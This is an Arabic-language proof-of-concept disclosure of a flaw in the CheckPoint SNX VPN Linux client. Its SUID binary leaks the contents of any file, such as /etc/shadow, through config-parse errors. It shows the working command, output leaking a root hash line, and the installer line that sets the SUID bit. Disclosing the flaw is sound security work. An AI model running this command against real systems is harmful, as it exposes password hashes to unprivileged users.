
إثبات المفهوم لقراءة ملف بصلاحيات مرتفعة من خلال عميل CheckPoint SNX VPN لنظام لينكس
إثبات المفهوم لقراءة ملفات مميزة من خلال عميل CheckPoint SNX VPN Linux Client.
لاستغلال الثغرة، قم بتحميل أي ملف كملف تكوين SNX باستخدام المعامل -f. إذا لم يكن الملف ملف تكوين SNX صالحًا، فسيتم طرح خطأ وعرض خطأ في الصياغة، مما يؤدي إلى تسريب المحتوى حتى يتم العثور على فاصل السلسلة (مثل etc/shadow):
$ /usr/bin/snx -f /etc/shadow
parsing of the file: /etc/shadow failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'
Valid attributes are:
- server SNX server to connet to
- sslport The SNX SSL port (if not default)
- username the user name
(...)
السبب هو أن الملف التنفيذي /usr/bin/snx يحتوي على بت SETUID ويتم تشغيله كمستخدم فائق (super-user)، ويتم تعيين ذلك أثناء التثبيت.
على وجه الخصوص، المتغير COMMAND_TO_RUN المعرّف في ملف التثبيت .sh (CheckPointVPN_SNX_Linux_800007075.sh):
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"
في المعامل --mode=u=rxs، يقوم الحرف s الأخير بتعيين بت SUID، مما يؤدي إلى تشغيل الملف الثنائي التنفيذي كجذر (root).